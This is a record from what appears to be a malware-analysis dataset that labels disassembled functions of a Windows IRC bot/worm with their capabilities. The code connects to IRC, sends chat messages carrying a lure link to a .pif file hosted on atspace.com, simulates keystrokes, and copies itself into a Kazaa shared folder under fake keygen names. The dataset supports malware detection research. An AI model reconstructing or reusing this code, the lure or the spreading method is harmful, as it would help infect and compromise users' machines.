joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140003618
Capabilities:
Enumerate gui resources

Disassembly:
sub rsp, 0x28
xor edx, edx
lea rcx, [0x140002dd4]
call qword [sym.imp.USER32.dll_EnumWindows]
xor edx, edx
lea rcx, [0x1400070dc]
call qword [sym.imp.USER32.dll_EnumWindows]
xor edx, edx
lea rcx, [0x140007bcc]
call qword [sym.imp.USER32.dll_EnumWindows]
xor edx, edx
lea rcx, [0x140002d5c]
call qword [sym.imp.USER32.dll_EnumWindows]
xor edx, edx
lea rcx, [0x140001ebc]
call qword [sym.imp.USER32.dll_EnumWindows]
xor edx, edx
lea rcx, [0x140001f34]
call qword [sym.imp.USER32.dll_EnumWindows]
xor edx, edx
lea rcx, [0x1400039c8]
call qword [sym.imp.USER32.dll_EnumWindows]
xor edx, edx
lea rcx, [0x140003498]
call qword [sym.imp.USER32.dll_EnumWindows]
mov al, 1
add rsp, 0x28
ret

Function at 0x1400036f0
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x240
mov rax, qword [0x140096900]
xor rax, rsp
mov qword [rsp + 0x230], rax
mov esi, edx
mov rdi, rcx
mov ebp, 0x200
lea rcx, [rsp + 0x30]
mov r8d, ebp
xor edx, edx
call fcn.14007c4e0
xor ebx, ebx
test esi, esi
je 0x1400037f1
xor edx, edx
mov rcx, rdi
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, rdi
call fcn.1400035f0
call fcn.140003570
lea rax, str.http:__sexy4life.atspace.com_mypic.pif
mov edx, ebp
lea r9, str.Hey_whats_up_look_at_my_new_picture
mov qword [rsp + 0x20], rax
lea r8, str._s__s
lea rcx, [rsp + 0x30]
call fcn.140001dc0
lea rcx, [rsp + 0x30]
call fcn.14004ef50
test rax, rax
je 0x1400037e2
mov ebp, ebx
mov cl, byte [rsp + rbp + 0x30]
call qword [sym.imp.USER32.dll_VkKeyScanA]
xor r9d, r9d
xor r8d, r8d
movzx ecx, ax
xor edx, edx
call qword [sym.imp.USER32.dll_keybd_event]
mov cl, byte [rsp + rbp + 0x30]
call qword [sym.imp.USER32.dll_VkKeyScanA]
xor r9d, r9d
xor edx, edx
movzx ecx, ax
lea r8d, [r9 + 2]
call qword [sym.imp.USER32.dll_keybd_event]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
inc bx
lea rcx, [rsp + 0x30]
movzx ebp, bx
call fcn.14004ef50
cmp rbp, rax
jb 0x14000378b
mov rcx, rdi
call fcn.1400035f0
mov ecx, esi
call fcn.14000369c
mov al, 1
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.140009690
lea r11, [rsp + 0x240]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x140003a40
Capabilities:
Initialize winsock library

Disassembly:
push rbx
sub rsp, 0x20
mov ecx, 0x198
call fcn.140009710
mov rbx, rax
test rax, rax
je 0x140003aa4
xor edx, edx
mov rcx, rax
lea r8d, [rdx + 8]
call fcn.14007c4e0
mov ecx, 0x202
mov rdx, rbx
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x140003a80
xor al, al
add rsp, 0x20
pop rbx
ret
cmp byte [rbx], 2
jne 0x140003a9c
cmp byte [rbx + 1], 2
jne 0x140003a9c
mov edx, 0x198
mov rcx, rbx
call fcn.14000974c
mov al, 1
jmp 0x140003a7a
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x140003a78
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitThread]
Function at 0x140003d1c
Capabilities:
Connect socket

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r14
lea rbp, [rax - 0xd8]
sub rsp, 0x1c0
mov rax, qword [0x140096900]
xor rax, rsp
mov qword [rbp + 0xb0], rax
mov esi, 2
lea r8, [rsp + 0x30]
mov rdx, rcx
mov eax, esi
lea r9d, [rsi + 0x7e]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [r8], xmm0
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [r8 + 0x10], xmm1
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [r8 + 0x20], xmm0
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [r8 + 0x30], xmm1
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [r8 + 0x40], xmm0
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [r8 + 0x50], xmm1
movups xmm1, xmmword [rdx + 0x70]
add rdx, r9
movups xmmword [r8 + 0x60], xmm0
add r8, r9
movups xmmword [r8 - 0x10], xmm1
sub rax, 1
jne 0x140003d62
mov rax, qword [rdx + 0x10]
mov r12d, reloc.WS2_32.dll_recv
movups xmm0, xmmword [rdx]
movups xmmword [r8], xmm0
mov qword [r8 + 0x10], rax
mov eax, dword [rdx + 0x18]
xor edx, edx
mov dword [r8 + 0x18], eax
mov r8d, r12d
mov dword [rcx + 0x118], 1
lea rcx, [rbp + 0x50]
call fcn.14007c4e0
movzx ecx, word [rbp - 0x50]
mov word [rbp + 0x50], si
call qword [sym.imp.WS2_32.dll_htons]
lea rcx, [rsp + 0x30]
mov word [rbp + 0x52], ax
call fcn.140006b64
mov dword [rbp + 0x54], eax
test eax, eax
je 0x140003f1d
lea r14, [0x1400e0130]
mov r8, r12
lea rcx, [rbp + 0x60]
xor edx, edx
call fcn.14007c4e0
lea rcx, [rbp + 0x60]
call fcn.1400063c4
mov edx, 1
mov ecx, esi
mov rbx, rax
lea r8d, [rdx + 5]
call qword [sym.imp.WS2_32.dll_socket]
lea rcx, [0x140098830]
mov r8d, r12d
mov rdi, rax
lea rdx, [rbp + 0x50]
movsxd rax, dword [rbp + 0x44]
mov qword [rcx + rax*8], rdi
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x140003e7e
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140003ee8
lea r8, [rsp + 0x30]
lea rdx, str.Connected_to__s
lea rcx, [rbp + 0x70]
call fcn.140001e18
movsxd rcx, dword [rbp + 0x44]
mov r8d, select
shl rcx, 4
mov rdx, rbx
add rcx, r14
call fcn.14004f010
lea rax, [rsp + 0x30]
mov r9, rbx
lea r8, [rbp - 0xc]
mov qword [rsp + 0x20], rax
lea rdx, [rbp - 0x4c]
mov rcx, rdi
call fcn.140005fec
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.WS2_32.dll_closesocket]
test ebx, ebx
je 0x140003ee8
cmp ebx, 1
jne 0x140003ee4
mov ecx, 0x1b7740
jmp 0x140003e76
cmp ebx, esi
je 0x140003f4b
mov r8, r12
lea rcx, [rbp + 0x50]
xor edx, edx
call fcn.14007c4e0
movzx ecx, word [rbp - 0x50]
mov word [rbp + 0x50], si
call qword [sym.imp.WS2_32.dll_htons]
lea rcx, [rsp + 0x30]
mov word [rbp + 0x52], ax
call fcn.140006b64
mov dword [rbp + 0x54], eax
test eax, eax
jne 0x140003e16
xor eax, eax
mov rcx, qword [rbp + 0xb0]
xor rcx, rsp
call fcn.140009690
lea r11, [rsp + 0x1c0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop r12
pop rbp
ret
mov ecx, dword [rbp + 0x44]
call fcn.140007fd0
movsxd rcx, dword [rbp + 0x44]
mov eax, esi
add rcx, rcx
mov byte [r14 + rcx*8], 0
jmp 0x140003f1f
Function at 0x140005f3c
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
sub rsp, 0x240
mov rax, qword [0x140096900]
xor rax, rsp
mov qword [rsp + 0x230], rax
mov rsi, r8
mov rdi, rdx
mov rbp, rcx
xor edx, edx
mov r8d, 0x200
lea rcx, [rsp + 0x30]
mov ebx, r9d
call fcn.14007c4e0
lea rax, str.PRIVMSG
mov qword [rsp + 0x20], rsi
test ebx, ebx
lea r8, str.NOTICE
mov r9, rdi
lea rdx, str._s__s_:_s_r_n
cmove r8, rax
lea rcx, [rsp + 0x30]
call fcn.140001e18
lea rcx, [rsp + 0x30]
call fcn.14004ef50
mov r8, rax
lea rdx, [rsp + 0x30]
xor r9d, r9d
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_send]
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.140009690
mov rbx, qword [rsp + 0x278]
add rsp, 0x240
pop rdi
pop rsi
pop rbp
ret
Function at 0x140005fec
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2118]
mov eax, 0x2218
call fcn.1400096c0
sub rsp, rax
mov rax, qword [0x140096900]
xor rax, rsp
mov qword [rbp + 0x2100], rax
mov rax, qword [rbp + 0x2180]
mov r13, r8
and dword [rsp + 0x50], 0
mov r12, rdx
mov rbx, rcx
mov qword [rsp + 0x58], rax
xor edx, edx
lea rcx, [rbp + 0xf60]
mov r8d, 0x100
mov r15, r9
call fcn.14007c4e0
cmp byte [0x140098816], 0
je 0x140006095
lea r8, [0x140098816]
lea rdx, str.PASS__s_r_n
lea rcx, [rbp + 0xf20]
call fcn.140001e18
lea rcx, [rbp + 0xf20]
call fcn.14004ef50
mov r8, rax
lea rdx, [rbp + 0xf20]
xor r9d, r9d
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_send]
lea rcx, [rbp + 0xf10]
call fcn.1400063c4
mov r9, rax
mov qword [rsp + 0x20], r15
mov r8, r15
lea rdx, str.NICK__s_r_nUSER__s_0_0_:_s_r_n
lea rcx, [rbp + 0xf20]
call fcn.140001e18
lea rcx, [rbp + 0xf20]
call fcn.14004ef50
mov r8, rax
lea rdx, [rbp + 0xf20]
xor r9d, r9d
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x1400061c1
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov rcx, qword [rbp + 0x2100]
xor rcx, rsp
call fcn.140009690
add rsp, 0x2218
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
cmp eax, 0xffffffff
je 0x1400060fe
lea rdx, [rsp + 0x70]
xor edi, edi
lea rcx, [rbp + 0x1100]
call fcn.140006b9c
movsxd r14, eax
mov qword [rsp + 0x60], r14
test eax, eax
jle 0x1400061c1
lea rsi, [rsp + 0x70]
mov r14, qword [rsp + 0x58]
mov eax, 1
mov rcx, qword [rsi]
mov r9, r13
mov dword [rsp + 0x48], eax
mov r8, r12
lea rax, [rsp + 0x50]
mov rdx, rbx
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x1060]
mov qword [rsp + 0x38], rax
lea rax, [rbp + 0xf60]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r15
call fcn.140003f64
dec eax
test eax, eax
jg 0x140006156
mov r14, qword [rsp + 0x60]
cmp eax, 0xffffffff
je 0x1400060fe
cmp eax, 0xfffffffe
je 0x140006204
cmp eax, 0xfffffffd
je 0x1400061fa
inc rdi
add rsi, 8
cmp rdi, r14
jl 0x14000614c
mov edi, 0x1000
lea rcx, [rbp + 0x1100]
mov r8d, edi
xor edx, edx
call fcn.14007c4e0
xor r9d, r9d
lea rdx, [rbp + 0x1100]
mov r8d, edi
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jne 0x140006123
jmp 0x1400060fe
mov eax, 2
jmp 0x140006100
mov eax, 1
jmp 0x140006100

Function at 0x140006210
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x230
mov rax, qword [0x140096900]
xor rax, rsp
mov qword [rsp + 0x220], rax
mov rbx, rdx
mov rdi, rcx
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x200
call fcn.14007c4e0
mov r8, rbx
lea rdx, str._s_r_n
lea rcx, [rsp + 0x20]
call fcn.140001e18
lea rcx, [rsp + 0x20]
call fcn.14004ef50
mov r8, rax
lea rdx, [rsp + 0x20]
xor r9d, r9d
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
mov rcx, qword [rsp + 0x220]
xor rcx, rsp
call fcn.140009690
mov rbx, qword [rsp + 0x250]
add rsp, 0x230
pop rdi
ret
Function at 0x14000629c
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
sub rsp, 0x230
mov rax, qword [0x140096900]
xor rax, rsp
mov qword [rsp + 0x220], rax
mov rdi, r8
mov rbx, rdx
mov rbp, rcx
xor edx, edx
mov r8d, 0x200
lea rcx, [rsp + 0x20]
mov rsi, r9
call fcn.14007c4e0
mov r9, rsi
lea rcx, [rsp + 0x20]
mov r8, rdi
mov rdx, rbx
call fcn.140001e18
lea rcx, [rsp + 0x20]
call fcn.14004ef50
mov r8, rax
lea rdx, [rsp + 0x20]
xor r9d, r9d
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_send]
mov rcx, qword [rsp + 0x220]
xor rcx, rsp
call fcn.140009690
mov rbx, qword [rsp + 0x258]
add rsp, 0x230
pop rdi
pop rsi
pop rbp
ret

Function at 0x140006330
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x230
mov rax, qword [0x140096900]
xor rax, rsp
mov qword [rsp + 0x220], rax
mov rdi, r8
mov rbx, rdx
mov rsi, rcx
xor edx, edx
mov r8d, 0x200
lea rcx, [rsp + 0x20]
call fcn.14007c4e0
mov r8, rdi
lea rcx, [rsp + 0x20]
mov rdx, rbx
call fcn.140001e18
lea rcx, [rsp + 0x20]
call fcn.14004ef50
mov r8, rax
lea rdx, [rsp + 0x20]
xor r9d, r9d
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_send]
mov rcx, qword [rsp + 0x220]
xor rcx, rsp
call fcn.140009690
lea r11, [rsp + 0x230]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x140006a84
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [0x140096900]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rbx, rcx
mov r8d, reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x38]
mov dword [rsp + 0x30], r8d
xor edx, edx
call fcn.14007c4e0
lea r8, [rsp + 0x30]
mov rcx, rbx
lea rdx, [rsp + 0x38]
call qword [sym.imp.WS2_32.dll_getsockname]
movzx ecx, byte [rsp + 0x3e]
lea rdx, str._d._d._d._d
movzx eax, byte [rsp + 0x3f]
movzx r9d, byte [rsp + 0x3d]
movzx r8d, byte [rsp + 0x3c]
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], ecx
lea rcx, [0x1400f51c0]
call fcn.140001e18
lea rax, [0x1400f51c0]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140009690
add rsp, 0x50
pop rbx
ret

Function at 0x140006b64
Capabilities:
Resolve dns

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x140006b94
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
jne 0x140006b8b
or eax, 0xffffffff
jmp 0x140006b94
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
mov eax, dword [rcx]
add rsp, 0x20
pop rbx
ret

Function at 0x1400071b4
Capabilities:
Copy file
Set file attributes

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov r12d, 0x208
mov ecx, r12d
call fcn.140009710
mov rbx, rax
test rax, rax
je 0x1400072a4
mov r8d, r12d
xor edx, edx
mov rcx, rax
call fcn.14007c4e0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r8d, 0x104
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor esi, esi
lea rbp, [rbx + 0x104]
lea r15, str.C:program_fileskazaamy_shared_folder_
xor edi, edi
lea r14, str.Windows_2003_Advanced_Server_KeyGen.exe
mov rdx, qword [r15]
mov rcx, rbp
call fcn.1400547c0
mov rdx, qword [r14]
mov rcx, rbp
call fcn.140054720
xor r8d, r8d
mov rdx, rbp
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x140007262
mov edx, 0x80
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
inc edi
add r14, 8
cmp edi, 0x1c
jb 0x14000722b
inc esi
add r15, 8
cmp esi, 0xc
jb 0x140007222
mov rdx, r12
mov rcx, rbx
call fcn.14000974c
mov rbx, qword [rsp + 0x40]
mov al, 1
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitThread]
Function at 0x1400072f8
Capabilities:
Enumerate process modules

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
mov eax, 0x1150
call fcn.1400096c0
sub rsp, rax
mov rax, qword [0x140096900]
xor rax, rsp
mov qword [rsp + 0x1140], rax
lea r8, [rsp + 0x20]
mov edx, 0x1000
lea rcx, [rsp + 0x30]
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
je 0x1400073e2
mov ebx, dword [rsp + 0x20]
xor edi, edi
shr ebx, 2
test ebx, ebx
je 0x1400073e2
mov r8d, 0x103
lea rdx, [0x14007fc98]
lea rcx, [rsp + 0x1030]
call fcn.14004f010
mov r8d, dword [rsp + rdi*4 + 0x30]
xor edx, edx
mov ecx, 0x411
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbp, rax
test rax, rax
je 0x1400073d8
lea r9, [rsp + 0x20]
mov r8d, 8
lea rdx, [rsp + 0x28]
mov rcx, rax
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
je 0x1400073d8
mov rdx, qword [rsp + 0x28]
lea r8, [rsp + 0x1030]
mov r9d, 0x104
mov rcx, rbp
call sub.PSAPI.DLL_GetModuleBaseNameA
lea rdx, [rsp + 0x1030]
lea rcx, str.Explorer.exe
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x14000740d
inc edi
cmp edi, ebx
jb 0x140007354
xor eax, eax
mov rcx, qword [rsp + 0x1140]
xor rcx, rsp
call fcn.140009690
lea r11, [rsp + 0x1150]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
mov eax, dword [rsp + rdi*4 + 0x30]
jmp 0x1400073e4

Function at 0x140007480
Capabilities:
Enumerate services

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x240
mov rax, qword [0x140096900]
xor rax, rsp
mov qword [rsp + 0x230], rax
and dword [rsp + 0x44], 0
mov rbp, rcx
xor ecx, ecx
xor edx, edx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rsi, rax
lea rax, [rsp + 0x44]
mov edx, gethostbyname
mov qword [rsp + 0x38], rax
lea r9, [rsp + 0x50]
lea rax, [rsp + 0x40]
mov rcx, rsi
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
lea r8d, [rdx - 0x2d]
mov dword [rsp + 0x20], 0x1e0
call qword [sym.imp.ADVAPI32.dll_EnumServicesStatusA]
test eax, eax
jne 0x140007512
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0x140007541
xor ebx, ebx
cmp dword [rsp + 0x40], ebx
jle 0x14000753a
lea rdi, [rsp + 0x50]
mov rcx, qword [rdi]
mov rdx, rbp
call fcn.14004f6f0
test eax, eax
je 0x140007575
inc ebx
add rdi, 0x30
cmp ebx, dword [rsp + 0x40]
jl 0x14000751f
cmp dword [rsp + 0x44], 0
jne 0x1400074c4
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor al, al
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.140009690
lea r11, [rsp + 0x240]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
mov al, 1
jmp 0x14000754c
Function at 0x1400080bc
Capabilities:
Terminate thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
xor ebx, ebx
lea eax, [rcx - 1]
cmp eax, 0x1f2
ja 0x140008167
movsxd rax, ecx
lea rbp, [0x140098a30]
imul rdi, rax, 0x248
xor edx, edx
mov rcx, qword [rdi + rbp + 0x220]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
cmp qword [rdi + rbp + 0x220], rbx
mov esi, ebx
mov qword [rdi + rbp + 0x220], rbx
setne sil
mov qword [rdi + rbp + 0x200], rbx
cmp dword [rdi + rbp + 0x208], ebx
jbe 0x14000812f
mov dword [rdi + rbp + 0x208], ebx
mov byte [rdi + rbp], bl
mov byte [rdi + rbp + 0x228], bl
mov rcx, qword [rdi + rbp + 0x210]
call qword [sym.imp.WS2_32.dll_closesocket]
mov rcx, qword [rdi + rbp + 0x218]
mov qword [rdi + rbp + 0x210], rbx
call qword [sym.imp.WS2_32.dll_closesocket]
mov qword [rdi + rbp + 0x218], rbx
mov ebx, esi
mov rbp, qword [rsp + 0x38]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14000ab74
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000abbe
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000abbe
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000abbe
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000abbe
cmp dword [rcx + 0x84], 0xe
jbe 0x14000abbe
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000abc0
xor al, al
add rsp, 0x28
ret

Function at 0x14004f990
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14004f9ff
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14004f9ff
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14004f9ff
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14004f9ff
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14004f9ff
cmp dword [rcx + 0x84], 0xe
jbe 0x14004f9ff
cmp dword [rcx + 0xf8], 0
je 0x14004f9ff
mov ecx, ebx
call fcn.14004fb10
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14004f760
nop
cmp dword [rbp + 0x20], 0
je 0x14004fa4d
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14004fa58
int3
xor r8d, r8d
xor edx, edx
jmp 0x14004f990

Function at 0x14004fc08
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14004f9ff
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14004f9ff
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14004f9ff
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14004f9ff
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14004f9ff
cmp dword [rcx + 0x84], 0xe
jbe 0x14004f9ff
cmp dword [rcx + 0xf8], 0
je 0x14004f9ff
mov ecx, ebx
call fcn.14004fb10
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14004f760
nop
cmp dword [rbp + 0x20], 0
je 0x14004fa4d
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14004fa58
int3
xor r8d, r8d
xor edx, edx
jmp 0x14004f990
Function at 0x140064b6c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x1400f6550]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x140064bc3
cmp word [rdx], r13w
jne 0x140064bc3
or byte [rax + rdi*8 + 0x38], cl
jmp 0x140064bc8
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x140064ced
mov r11d, reloc.WS2_32.dll_listen
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x140064d0e
lea r9, [rdx + 2]
cmp cx, r11w
je 0x140064c01
mov rdx, r9
mov word [rbx], cx
jmp 0x140064c28
cmp r9, r8
jae 0x140064c38
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x140064be2
jmp 0x140064ced
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140064ce2
cmp dword [rsp + 0x80], esi
je 0x140064ce2
lea r8, [0x1400f6550]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x140064cba
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x140064c8a
mov word [rbx], r13w
jmp 0x140064cea
mov ecx, reloc.WS2_32.dll_listen
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x140064c97
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x140064cea
cmp word [rsp + 0x70], r13w
jne 0x140064cc7
cmp rbx, r14
je 0x140064c84
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.140075d28
cmp word [rsp + 0x70], r13w
je 0x140064ced
mov ecx, reloc.WS2_32.dll_listen
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x1400f6550]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x140064ce7
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x140064ced
Function at 0x140066d60
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
